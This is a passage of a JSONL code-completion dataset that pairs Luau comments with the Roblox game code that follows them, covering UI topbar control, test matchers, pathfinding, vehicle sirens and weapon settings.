then\n\t\t\t\t\t\tfor _, overlappedIcon in pairs(overflowIcon.dropdownIcons) do\n\t\t\t\t\t\t\tlocal iconOrder = overlappedIcon:get(\"order\")\n\t\t\t\t\t\t\tif winningOverlappedIcon == nil or (alignment == \"left\" and iconOrder < winningOrder) or (alignment == \"right\" and iconOrder > winningOrder) then\n\t\t\t\t\t\t\t\twinningOrder = iconOrder\n\t\t\t\t\t\t\t\twinningOverlappedIcon = overlappedIcon\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif winningOverlappedIcon then\n\t\t\t\t\t\tlocal sizeX = getSizeX(winningOverlappedIcon, true)\n\t\t\t\t\t\tlocal myForesightBoundaryX = getBoundaryX(overflowIcon, oppositeAlignment)\n\t\t\t\t\t\tif totalOverlappingIcons == 1 then\n\t\t\t\t\t\t\tmyForesightBoundaryX = getBoundaryX(overflowIcon, alignment, alignmentGap-START_LEEWAY)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tlocal availableGap = math.abs(closestBoundaryX - myForesightBoundaryX) - (alignmentGap*2)\n\t\t\t\t\t\tlocal noLongerExeeds = (sizeX < availableGap)\n\t\t\t\t\t\tif noLongerExeeds then\n\t\t\t\t\t\t\tif #overflowIcon.dropdownIcons == 1 then\n\t\t\t\t\t\t\t\toverflowIcon:setEnabled(false)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal overflowContainer = overflowIcon.instances.iconContainer\n\t\t\t\t\t\t\tlocal yPos = overflowContainer.Position.Y\n\t\t\t\t\t\t\toverflowContainer.Position = UDim2.new(0, myForesightBoundaryX, yPos.Scale, yPos.Offset)\n\t\t\t\t\t\t\twinningOverlappedIcon:leave()\n\t\t\t\t\t\t\twinningOverlappedIcon.wasHoveringBeforeOverflow = nil\n\t\t\t\t\t\t\t--\n\t\t\t\t\t\t\tif winningOverlappedIcon._overflowConvertedToMenu then\n\t\t\t\t\t\t\t\twinningOverlappedIcon._overflowConvertedToMenu = nil\n\t\t\t\t\t\t\t\tlocal iconsToConvert = {}\n\t\t\t\t\t\t\t\tfor _, dIcon in pairs(winningOverlappedIcon.menuIcons) do\n\t\t\t\t\t\t\t\t\ttable.insert(iconsToConvert, dIcon)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tfor _, dIcon in pairs(winningOverlappedIcon.menuIcons) do\n\t\t\t\t\t\t\t\t\tdIcon:leave()\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\twinningOverlappedIcon:setDropdown(iconsToConvert)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t--\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t--------\n\t\tif requestedTopbarUpdate then\n\t\t\trequestedTopbarUpdate = false\n\t\t\tIconController.updateTopbar()\n\t\tend\n\t\treturn true\n\tend)\nend\n\nfunction IconController.setTopbarEnabled(bool, forceBool)\n\tif forceBool == nil then\n\t\tforceBool = true\n\tend\n\tlocal indicator = TopbarPlusGui.Indicator\n\tif forceBool and not bool then\n\t\tforceTopbarDisabled = true\n\telseif forceBool and bool then\n\t\tforceTopbarDisabled = false\n\tend\n\tlocal topbarEnabledAccountingForMimic = checkTopbarEnabledAccountingForMimic()\n\tif IconController.controllerModeEnabled then\n\t\tif bool then\n\t\t\tif TopbarPlusGui.TopbarContainer.Visible or forceTopbarDisabled or menuOpen or not topbarEnabledAccountingForMimic then return end\n\t\t\tif forceBool then\n\t\t\t\tindicator.Visible = topbarEnabledAccountingForMimic\n\t\t\telse\n\t\t\t\tindicator.Active = false\n\t\t\t\tif controllerMenuOverride and controllerMenuOverride.Connected then\n\t\t\t\t\tcontrollerMenuOverride:Disconnect()\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif hapticService:IsVibrationSupported(Enum.UserInputType.Gamepad1) and hapticService:IsMotorSupported(Enum.UserInputType.Gamepad1,Enum.VibrationMotor.Small) then\n\t\t\t\t\thapticService:SetMotor(Enum.UserInputType.Gamepad1,Enum.VibrationMotor.Small,1)\n\t\t\t\t\tdelay(0.2,function()\n\t\t\t\t\t\tpcall(function()\n\t\t\t\t\t\t\thapticService:SetMotor(Enum.UserInputType.Gamepad1,Enum.VibrationMotor.Small,0)\n\t\t\t\t\t\tend)\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\t\tTopbarPlusGui.TopbarContainer.Visible = true\n\t\t\t\tTopbarPlusGui.TopbarContainer:TweenPosition(\n\t\t\t\t\tUDim2.new(0,0,0,5 + STUPID_CONTROLLER_OFFSET),\n\t\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\t\tEnum.EasingStyle.Quad,\n\t\t\t\t\t0.1,\n\t\t\t\t\ttrue\n\t\t\t\t)\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tlocal selectIcon\n\t\t\t\tlocal targetOffset = 0\n\t\t\t\tIconController:_updateSelectionGroup()\n\t\t\t\trunService.Heartbeat:Wait()\n\t\t\t\tlocal indicatorSizeTrip = 50 --indicator.AbsoluteSize.Y * 2\n\t\t\t\tfor otherIcon, _ in pairs(topbarIcons) do\n\t\t\t\t\tif IconController.canShowIconOnTopbar(otherIcon) and (selectIcon == nil or otherIcon:get(\"order\") < selectIcon:get(\"order\")) and otherIcon.enabled then\n\t\t\t\t\t\tselectIcon = otherIcon\n\t\t\t\t\tend\n\t\t\t\t\tlocal container = otherIcon.instances.iconContainer\n\t\t\t\t\tlocal newTargetOffset = -27 + container.AbsoluteSize.Y + indicatorSizeTrip\n\t\t\t\t\tif newTargetOffset > targetOffset then\n\t\t\t\t\t\ttargetOffset = newTargetOffset\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif guiService:GetEmotesMenuOpen() then\n\t\t\t\t\tguiService:SetEmotesMenuOpen(false)\n\t\t\t\tend\n\t\t\t\tif guiService:GetInspectMenuEnabled() then\n\t\t\t\t\tguiService:CloseInspectMenu()\n\t\t\t\tend\n\t\t\t\tlocal newSelectedObject = IconController._previousSelectedObject or selectIcon.instances.iconButton\n\t\t\t\tIconController._setControllerSelectedObject(newSelectedObject)\n\t\t\t\tindicator.Image = \"rbxassetid://5278151071\"\n\t\t\t\tindicator:TweenPosition(\n\t\t\t\t\tUDim2.new(0.5,0,0,targetOffset + STUPID_CONTROLLER_OFFSET),\n\t\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\t\tEnum.EasingStyle.Quad,\n\t\t\t\t\t0.1,\n\t\t\t\t\ttrue\n\t\t\t\t)\n\t\t\tend\n\t\telse\n\t\t\tif forceBool then\n\t\t\t\tindicator.Visible = false\n\t\t\telseif topbarEnabledAccountingForMimic then\n\t\t\t\tindicator.Visible = true\n\t\t\t\tindicator.Active = true\n\t\t\t\tcontrollerMenuOverride = indicator.InputBegan:Connect(function(input)\n\t\t\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 then\n\t\t\t\t\t\tIconController.setTopbarEnabled(true,false)\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\telse\n\t\t\t\tindicator.Visible = false\n\t\t\tend\n\t\t\tif not TopbarPlusGui.TopbarContainer.Visible then return end\n\t\t\tguiService.AutoSelectGuiEnabled = true\n\t\t\tIconController:_updateSelectionGroup(true)\n\t\t\tTopbarPlusGui.TopbarContainer:TweenPosition(\n\t\t\t\tUDim2.new(0,0,0,-TopbarPlusGui.TopbarContainer.Size.Y.Offset + STUPID_CONTROLLER_OFFSET),\n\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\tEnum.EasingStyle.Quad,\n\t\t\t\t0.1,\n\t\t\t\ttrue,\n\t\t\t\tfunction()\n\t\t\t\t\tTopbarPlusGui.TopbarContainer.Visible = false\n\t\t\t\tend\n\t\t\t)\n\t\t\tindicator.Image = \"rbxassetid://5278151556\"\n\t\t\tindicator:TweenPosition(\n\t\t\t\tUDim2.new(0.5,0,0,5),\n\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\tEnum.EasingStyle.Quad,\n\t\t\t\t0.1,\n\t\t\t\ttrue\n\t\t\t)\n\t\tend\n\telse\n\t\tlocal topbarContainer = TopbarPlusGui.TopbarContainer\n\t\tif topbarEnabledAccountingForMimic then\n\t\t\ttopbarContainer.Visible = bool\n\t\telse\n\t\t\ttopbarContainer.Visible = false\n\t\tend\n\tend\nend\n\nfunction IconController.setGap(value, alignment)\n\tlocal newValue = tonumber(value) or 12\n\tlocal newAlignment = tostring(alignment):lower()\n\tif newAlignment == \"left\" or newAlignment == \"mid\" or newAlignment == \"right\" then\n\t\tIconController[newAlignment..\"Gap\"] = newValue\n\t\tIconController.updateTopbar()\n\t\treturn\n\tend\n\tIconController.leftGap = newValue\n\tIconController.midGap = newValue\n\tIconController.rightGap = newValue\n\tIconController.updateTopbar()\nend\n\nfunction IconController.setLeftOffset(value)\n\tIconController.leftOffset = tonumber(value) or 0\n\tIconController.updateTopbar()\nend\n\nfunction IconController.setRightOffset(value)\n\tIconController.rightOffset = tonumber(value) or 0\n\tIconController.updateTopbar()\nend\n\nlocal localPlayer = players.LocalPlayer\nlocal iconsToClearOnSpawn = {}\nlocalPlayer.CharacterAdded:Connect(function()\n\tfor _, icon in pairs(iconsToClearOnSpawn) do\n\t\ticon:destroy()\n\tend\n\ticonsToClearOnSpawn = {}\nend)\nfunction IconController.clearIconOnSpawn(icon)\n\tcoroutine.wrap(function()\n\t\tlocal char = localPlayer.Character or localPlayer.CharacterAdded:Wait()\n\t\ttable.insert(iconsToClearOnSpawn, icon)\n\tend)()\nend\n\n\n"} +{"prompt": "--!strict\n--[=[\n @function fromArray\n @within Set\n\n @param array {T} -- The array to convert to a set.\n @return {[T]: boolean} -- The set.\n\n Converts an array to a set, where each item is mapped to true.\n Duplicate items are discarded.\n\n Aliases: `fromList`\n\n ```lua\n local array = { \"hello\", \"world\", \"hello\" }\n\n local set = FromArray(array) -- { hello = true, world = true }\n ```\n]=]", "completion": "\nlocal function fromArray(array: { T }): { [T]: boolean }\n\tlocal result = table.create(#array)\n\n\tfor _, value in ipairs(array) do\n\t\tresult[value] = true\n\tend\n\n\treturn result\nend\n\nreturn fromArray\n"} +{"prompt": "--[=[\n\t@function Overlay\n\t@within Blend\n\n\t@param background Color3 -- The background colour.\n\t@param foreground Color3 -- The foreground colour.\n\t@return Color3 -- The resulting colour.\n]=]", "completion": "\nreturn PrepFilter(\"Overlay\", function(background: number, foreground: number): number\n\tlocal bg = background * 255\n\tlocal fg = foreground * 255\n\n\treturn (bg < 128) and (2 * fg * bg / 255) or (255 - 2 * (255 - bg) * (255 - fg) / 255)\nend)\n"} +{"prompt": "--// Math", "completion": "\nlocal L_132_ = function(L_169_arg1, L_170_arg2, L_171_arg3)\n\tif L_169_arg1 > L_171_arg3 then\n\t\treturn L_171_arg3\n\telseif L_169_arg1 < L_170_arg2 then\n\t\treturn L_170_arg2\n\tend\n\treturn L_169_arg1\nend\n\nlocal L_133_ = L_121_.new(Vector3.new())\nL_133_.s = 30\nL_133_.d = 0.55\n\t\nlocal L_134_ = CFrame.Angles(0, 0, 0)\n"} +{"prompt": "--[[\n\tConstructs a new computed state object, which follows the value of another\n\tstate object using a tween.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal PubTypes = require(Package.PubTypes)\nlocal Types = require(Package.Types)\nlocal TweenScheduler = require(Package.Animation.TweenScheduler)\nlocal useDependency = require(Package.Dependencies.useDependency)\nlocal initDependency = require(Package.Dependencies.initDependency)\nlocal logError = require(Package.Logging.logError)\nlocal logErrorNonFatal = require(Package.Logging.logErrorNonFatal)\nlocal xtypeof = require(Package.Utility.xtypeof)\n\nlocal class = {}\n\nlocal CLASS_METATABLE = {__index = class}\nlocal WEAK_KEYS_METATABLE = {__mode = \"k\"}\n"} +{"prompt": "-- Variables to store waypoints table and zombie's current waypoint", "completion": "\nlocal waypoints\nlocal currentWaypointIndex\n \nlocal function followPath(destinationObject)\n\t-- Compute and check the path\n\tpath:ComputeAsync(zombie.Position, destinationObject)\n\t-- Empty waypoints table after each new path computation\n\twaypoints = {}\n \n\tif path.Status == Enum.PathStatus.Success then\n\t\t-- Get the path waypoints and start zombie walking\n\t\twaypoints = path:GetWaypoints()\n\t\t-- Move to first waypoint\n\t\tcurrentWaypointIndex = 1\n\t\thuman:MoveTo(waypoints[currentWaypointIndex].Position)\n\telse\n\t\t-- Error (path not found); stop humanoid\n\t\thuman:MoveTo(zombie.Position)\n\tend\nend\n \nlocal function onWaypointReached(reached)\n\tif reached and waypoints ~= nil and currentWaypointIndex ~= nil and currentWaypointIndex < #waypoints then\n\t\tcurrentWaypointIndex = currentWaypointIndex + 1\n\t\thuman:MoveTo(waypoints[currentWaypointIndex].Position)\n\tend\nend\n \nlocal function onPathBlocked(blockedWaypointIndex)\n\t-- Check if the obstacle is further down the path\n\tif blockedWaypointIndex > currentWaypointIndex then\n\t\t-- Call function to re-compute the path\n\t\tfollowPath(destination)\n\tend\nend\n "} +{"prompt": "-- ========================================\n-- Local action functions\n-- ========================================\n-- Returns whether part is in the map folder", "completion": "\nlocal function isInMap(part)\n\tlocal mapAncestor = part:FindFirstAncestor(\"Map\")\n\treturn mapAncestor and mapAncestor:IsA(\"Folder\")\nend\n"} +{"prompt": "-- ROBLOX deviation: function unused so commented out for now. If eventually ends up\n-- being used, be careful of automatically loading the RegExp library since we\n-- intentionally lazy-load it in Jest-Roblox for improved performance\n-- jasmine and worker farm sometimes don't give us access to the actual\n-- Error object, so we have to regexp out the message from the stack string\n-- to format it.\n-- function separateMessageFromStack(\n-- \tcontent: string\n-- ): {message: string, stack: string}\n-- \tif not content then\n-- \t\treturn {message = '', stack = ''}\n-- \tend", "completion": "\n"} +{"prompt": "--// Declarables", "completion": "\nlocal L_15_ = false\n\nlocal L_16_ = false\nlocal L_17_ = true\n\nlocal L_18_ = L_1_:WaitForChild('Resource')\nlocal L_19_ = L_18_:WaitForChild('FX')\nlocal L_20_ = L_18_:WaitForChild('Events')\nlocal L_21_ = L_18_:WaitForChild('HUD')\nlocal L_22_ = L_18_:WaitForChild('Modules')\nlocal L_23_ = L_18_:WaitForChild('SettingsModule')\nlocal L_24_ = require(L_23_:WaitForChild(\"ClientConfig\"))\nlocal L_25_ = L_18_:WaitForChild('Vars')\n\nlocal L_26_\nlocal L_27_\nlocal L_28_\nlocal L_29_\nlocal L_30_\nlocal L_31_\nlocal L_32_\nlocal L_33_\nlocal L_34_\nlocal L_35_\nlocal L_36_\nlocal L_37_\nlocal L_38_\nlocal L_39_\nlocal L_40_\n\nlocal L_41_\n\nlocal L_42_\nlocal L_43_\nlocal L_44_\nlocal L_45_\nlocal L_46_\nlocal L_47_\nlocal L_48_\n\nlocal L_49_ = L_24_.AimZoom\n\nlocal L_50_ = L_24_.MouseSensitivity\nlocal L_51_ = L_12_.MouseDeltaSensitivity\n"} +{"prompt": "-- ROBLOX deviation: expected does not have Function type annotation", "completion": "\nfunction toThrowExpectedClass(\n\tmatcherName: string,\n\toptions: JestMatcherUtils.MatcherHintOptions,\n\tthrown: Thrown,\n\texpected: Function\n): SyncExpectationResult\n\tlocal function isClass(a)\n\t\treturn a and getmetatable(a) and getmetatable(a).__index\n\tend\n\n\tlocal pass = thrown ~= nil and thrown.value ~= nil and instanceof(thrown.value, expected)\n\n\tlocal message\n\tif pass then\n\t\tmessage = function()\n\t\t\tlocal retval = matcherHint(matcherName, nil, nil, options)\n\t\t\t\t.. \"\\n\\n\"\n\t\t\t\t.. printExpectedConstructorNameNot(\"Expected constructor\", expected)\n\t\t\tif\n\t\t\t\tthrown ~= nil\n\t\t\t\tand isClass(thrown.value)\n\t\t\t\tand isClass(expected)\n\t\t\t\tand getmetatable(thrown.value).__index ~= expected\n\t\t\t\tand not thrown.value[\"$$robloxInternalJestError\"]\n\t\t\tthen\n\t\t\t\tretval = retval\n\t\t\t\t\t.. printReceivedConstructorNameNot(\"Received constructor\", getmetatable(thrown.value), expected)\n\t\t\tend\n\n\t\t\tretval = retval .. \"\\n\"\n\n\t\t\tif thrown ~= nil and thrown.hasMessage and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\tretval = retval .. formatReceived(\"Received message: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\telse\n\t\t\t\tretval = retval .. formatReceived(\"Received value: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\tend\n\n\t\t\treturn retval\n\t\tend\n\telse\n\t\tmessage = function()\n\t\t\tlocal retval = matcherHint(matcherName, nil, nil, options)\n\t\t\t\t.. \"\\n\\n\"\n\t\t\t\t.. printExpectedConstructorName(\"Expected constructor\", expected)\n\n\t\t\tif thrown == nil then\n\t\t\t\tretval = retval .. \"\\n\" .. DID_NOT_THROW\n\t\t\telse\n\t\t\t\tif thrown.value ~= nil and isClass(thrown.value) and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\t\tretval = retval .. printReceivedConstructorName(\"Received constructor\", getmetatable(thrown.value))\n\t\t\t\tend\n\n\t\t\t\tretval = retval .. \"\\n\"\n\n\t\t\t\tif thrown.hasMessage and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\t\tretval = retval .. formatReceived(\"Received message: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\t\telse\n\t\t\t\t\tretval = retval .. formatReceived(\"Received value: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn retval\n\t\tend\n\tend\n\n\treturn { message = message, pass = pass }\nend\n\nfunction toThrowExpectedString(\n\tmatcherName: string,\n\toptions: JestMatcherUtils.MatcherHintOptions,\n\tthrown: Thrown | nil,\n\texpected: string\n): SyncExpectationResult\n\tlocal pass = false\n\t-- ROBLOX deviation: thrown.message can be nil or a table, so ensure it is a string before calling find\n\tif thrown ~= nil and typeof(thrown.message) == \"string\" and thrown.message:find(expected, 1, true) then\n\t\tpass = true\n\tend\n\n\tlocal message\n\tif pass then\n\t\tmessage = function()\n\t\t\tlocal retval = matcherHint(matcherName, nil, nil, options)\n\t\t\t\t.. \"\\n\\n\"\n\t\t\t\t.. formatExpected(\"Expected substring: never \", expected)\n\n\t\t\tif thrown ~= nil and thrown.hasMessage and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\tretval = retval\n\t\t\t\t\t.. formatReceived(\"Received message: \", thrown, \"message\", expected)\n\t\t\t\t\t.. formatStack(thrown)\n\t\t\telse\n\t\t\t\tretval = retval\n\t\t\t\t\t.. formatReceived(\"Received value: \", thrown, \"message\")\n\t\t\t\t\t.. formatStack(thrown)\n\t\t\tend\n\n\t\t\treturn retval\n\t\tend\n\telse\n\t\tmessage = function()\n\t\t\tlocal retval = matcherHint(matcherName, nil, nil, options)\n\t\t\t\t.. \"\\n\\n\"\n\t\t\t\t.. formatExpected(\"Expected substring: \", expected)\n\n\t\t\tif thrown == nil then\n\t\t\t\tretval = retval .. \"\\n\" .. DID_NOT_THROW\n\t\t\telse\n\t\t\t\tif thrown.hasMessage and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\t\tretval = retval .. formatReceived(\"Received message: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\t\telse\n\t\t\t\t\tretval = retval .. formatReceived(\"Received value: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn retval\n\t\tend\n\tend\n\n\treturn { message = message, pass = pass }\nend\n\nfunction toThrow(matcherName: string, options: MatcherHintOptions, thrown: Thrown | nil): SyncExpectationResult\n\tlocal pass = thrown ~= nil\n\n\tlocal message\n\n\tif pass then\n\t\tmessage = function()\n\t\t\tlocal retval = matcherHint(matcherName, nil, \"\", options) .. \"\\n\\n\"\n\n\t\t\tif thrown ~= nil and thrown.hasMessage and not thrown.value[\"$$robloxInternalJestError\"] then\n\t\t\t\tretval = retval\n\t\t\t\t\t.. formatReceived(\"Error name: \", thrown, \"name\")\n\t\t\t\t\t.. formatReceived(\"Error message: \", thrown, \"message\")\n\t\t\t\t\t.. formatStack(thrown)\n\t\t\telse\n\t\t\t\tretval = retval .. formatReceived(\"Thrown value: \", thrown, \"message\") .. formatStack(thrown)\n\t\t\tend\n\n\t\t\treturn retval\n\t\tend\n\telse\n\t\tmessage = function()\n\t\t\treturn matcherHint(matcherName, nil, \"\", options) .. \"\\n\\n\" .. DID_NOT_THROW\n\t\tend\n\tend\n\n\treturn { message = message, pass = pass }\nend\n\nfunction formatExpected(label: string, expected: any)\n\treturn label .. printExpected(expected) .. \"\\n\"\nend\n"} +{"prompt": "--[[function pm(x)\n\n\tif game.Players:findFirstChild(script.Parent.Parent.Name)~=nil then\n\t\tlocal bob=game.Players:findFirstChild(script.Parent.Parent.Name)\n\t\tlocal mess=Instance.new(\"Message\")\n\t\twhile bob:findFirstChild(\"Message\")~=nil do bob.Message:remove() end\n\t\tmess.Parent=bob\n\t\tif x==1 then\n\t\t\tmess.Text=\"I Chord\"\n\t\telseif x==2 then\n\t\t\tmess.Text=\"IV Chord\"\n\t\telseif x==3 then\n\t\t\tmess.Text=\"V Chord\"\n\t\telseif x==4 then\n\t\t\tmess.Text=\"V-VII Transition\"\n\t\telseif x==5 then\n\t\t\tmess.Text=\"I-VII Transition\"\n\t\telseif x==6 then\n\t\t\tmess.Text=\"III Chord\"\n\t\tend\n\t\twait(1)\n\t\tmess.Parent=nil\n\tend\nend]]", "completion": "\n\nfunction Leap()\nwait(0.25)--Might want to change this\nscript.Parent.GripForward = Vector3.new(-0,-0,1)\nscript.Parent.GripPos = Vector3.new(-1, 0, 0)\nscript.Parent.GripRight = Vector3.new(-1, 0, 0)\nscript.Parent.GripUp = Vector3.new(0, 1, 0)\nwait(0.75)--Might want to change this also...\nscript.Parent.GripForward = Vector3.new(-0.291, 0.485, 0.825)\nscript.Parent.GripPos = Vector3.new(-1.5, 0, 0)\nscript.Parent.GripRight = Vector3.new(-0.857, -0.514, 0)\nscript.Parent.GripUp = Vector3.new(-0.424, 0.707, -0.565)\nend\n\nscript.Parent.Parent.Humanoid.Jumping:connect(Leap)\n"} +{"prompt": "-- loop to handle timed state transitions and tool animations", "completion": "\nwhile Character.Parent ~= nil do\n\tlocal _, currentGameTime = wait(0.1)\n\tstepAnimate(currentGameTime)\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nElevator = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nElevator:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,16 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Transparency = (l:sub(r,r) == \"1\" and 0 or 1)\n\t\t\tend\n\t\tend\n\tend\nend\n\n"} +{"prompt": "---Auto Settings---", "completion": "\n\t\t\telseif Settings.Mode == \"Auto\" and Settings.FireModes.Explosive == true then\n\t\t\t\tGui.FText.Text = \"Explosive\"\n\t\t\t\tSettings.Mode = \"Explosive\"\n\t\t\telseif Settings.Mode == \"Auto\" and Settings.FireModes.Semi == true and Settings.FireModes.Explosive == false then\n\t\t\t\tGui.FText.Text = \"Semi\"\n\t\t\t\tSettings.Mode = \"Semi\"\n\t\t\telseif Settings.Mode == \"Auto\" and Settings.FireModes.Semi == false and Settings.FireModes.Burst == true and Settings.FireModes.Explosive == false then\n\t\t\t\tGui.FText.Text = \"Burst\"\n\t\t\t\tSettings.Mode = \"Burst\""} +{"prompt": "--------------------[ MATH FUNCTIONS ]------------------------------------------------", "completion": "\n\nfunction RAND(Min, Max, Accuracy)\n\tlocal Inverse = 1 / (Accuracy or 1)\n\treturn (math.random(Min * Inverse, Max * Inverse) / Inverse)\nend\n"} +{"prompt": "--FieldOfView--", "completion": "\nlocal mouse = Player:GetMouse()\nlocal Info = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)\nlocal Properties = {FieldOfView = FieldOfView}\nlocal T = game:GetService(\"TweenService\"):Create(game.Workspace.CurrentCamera, Info, Properties)\nlocal rProperties = {FieldOfView = 70}\nlocal rInfo = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)\nlocal rT = game:GetService(\"TweenService\"):Create(game.Workspace.CurrentCamera, rInfo, rProperties)\n"} +{"prompt": "-- regeneration", "completion": "\n\nwhile true do\n\tlocal s = wait(4)\n\tlocal health = Humanoid.Health\n\tif health > 0 and health < Humanoid.MaxHealth then\n\t\thealth = health + 0.08 * s * Humanoid.MaxHealth\n\t\tif health * 1.05 < Humanoid.MaxHealth then\n\t\t\tHumanoid.Health = health\n\t\telse\n\t\t\tHumanoid.Health = Humanoid.MaxHealth\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Player specific convenience variables", "completion": "\nlocal MyPlayer = nil\nlocal MyCharacter = nil\nlocal MyHumanoid = nil\nlocal MyTorso = nil\n\nlocal DebrisService = game:GetService('Debris')\n\nlocal FireSound\n\nlocal OnFireConnection = nil\nlocal OnReloadConnection = nil\n"} +{"prompt": "--- Alias of Registry:GetStore(...)", "completion": "\nfunction Command:GetStore(...)\n\treturn self.Dispatcher.Cmdr.Registry:GetStore(...)\nend\n\nreturn Command\n"} +{"prompt": "-- Function called when a player joins the game", "completion": "\nlocal function onPlayerAdded(player)\n\tplayer.CharacterAdded:Connect(onCharacterAdded)\nend\n"} +{"prompt": "-- switch animation", "completion": "\nif (anim ~= currentAnimInstance) then\nif (currentAnimTrack ~= nil) then\ncurrentAnimTrack:Stop(transitionTime)\ncurrentAnimTrack:Destroy()\nend\ncurrentAnimSpeed = 1.0"} +{"prompt": "--[[\n\tReturns a version of the given method that can be called with either . or :\n]]", "completion": "\nlocal function bindSelf(self, method)\n\treturn function(firstArg, ...)\n\t\tif firstArg == self then\n\t\t\treturn method(self, ...)\n\t\telse\n\t\t\treturn method(self, firstArg, ...)\n\t\tend\n\tend\nend\n\nlocal function formatMessage(result, trueMessage, falseMessage)\n\tif result then\n\t\treturn trueMessage\n\telse\n\t\treturn falseMessage\n\tend\nend\n"} +{"prompt": "-- // Functions", "completion": "\n\nif rootPart:FindFirstChild(\"Running\") then\n rootPart.Running.Volume = 0\nend\n"} +{"prompt": "--// Services", "completion": "\nlocal L_99_ = game:GetService('RunService').RenderStepped\nlocal L_100_ = game:GetService('UserInputService')\n"} +{"prompt": "--[=[\n\tCleans up the signal.\n\n\tTechnically, this is only necessary if the signal is created using\n\t`Signal.Wrap`. Connections should be properly GC'd once the signal\n\tis no longer referenced anywhere. However, it is still good practice\n\tto include ways to strictly clean up resources. Calling `Destroy`\n\ton a signal will also disconnect all connections immediately.\n\t```lua\n\tsignal:Destroy()\n\t```\n]=]", "completion": "\nfunction Signal:Destroy()\n\tself:DisconnectAll()\n\tlocal proxyHandler = rawget(self, \"_proxyHandler\")\n\tif proxyHandler then\n\t\tproxyHandler:Disconnect()\n\tend\nend\n"} +{"prompt": "-------------------------", "completion": "\nwhile true do\nCar.BodyVelocity.velocity = Vector3.new(0, 0.5, 0)\nwait(22)\nCar.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nbreak\n\nend\n"} +{"prompt": "--input ended", "completion": "\ninputService.InputEnded:Connect(function (key)\n\tif key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then\n\t\trunning = false\n\t\tif char.Humanoid then\n\t\t\tchar.Humanoid.WalkSpeed = 25 --Player's speed while not sprinting\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- The tag name. Used for cleanup.", "completion": "\nlocal DEFAULT_COLLECTION_TAG_NAME: string = \"_RaycastHitboxV4Managed\"\n"} +{"prompt": "---------------------------------------------------------------|\n------// SETTINGS //-------------------------------------------|\n---------------------------------------------------------------|", "completion": "\n\nlocal FireRate = 1\n\nlocal LimbsDamage = {0,0}\nlocal TorsoDamage = {0,0}\nlocal HeadDamage = {0,0}\nlocal FallOfDamage = 1\nlocal BulletPenetration = 65\n\nlocal RegularWalkspeed = 16\nlocal SearchingWalkspeed = 8\nlocal ShootingWalkspeed = 4\n\nlocal Spread = 4\n\nlocal MinDistance = 100\nlocal MaxInc = 16\n\nlocal Mode = 0\n\n\nlocal Tracer = true\nlocal TracerColor = Color3.fromRGB(255,255,255)\n\nlocal BulletFlare = false\nlocal BulletFlareColor = Color3.fromRGB(255,255,255)\n"} +{"prompt": "--// F key, HornOn", "completion": "\nmouse.KeyDown:connect(function(key)\n\tif key==\"h\" then \n\t\tveh.Lightbar.middle.Beep:Play()\n\t\tveh.Lightbar.middle.Airhorn:Play()\n\t\tveh.Lightbar.middle.Wail.Volume = 7\n\t\tveh.Lightbar.middle.Yelp2.Volume = 7\n\t\tveh.Lightbar.middle.Yelp.Volume = 7\n\t\tveh.Lightbar.middle.Priority.Volume = 7 \t\n\tend\nend)\n"} +{"prompt": "-- EVENTS", "completion": "\nIconController.iconAdded = Signal.new()\nIconController.iconRemoved = Signal.new()\nIconController.controllerModeStarted = Signal.new()\nIconController.controllerModeEnded = Signal.new()\nIconController.healthbarDisabledSignal = 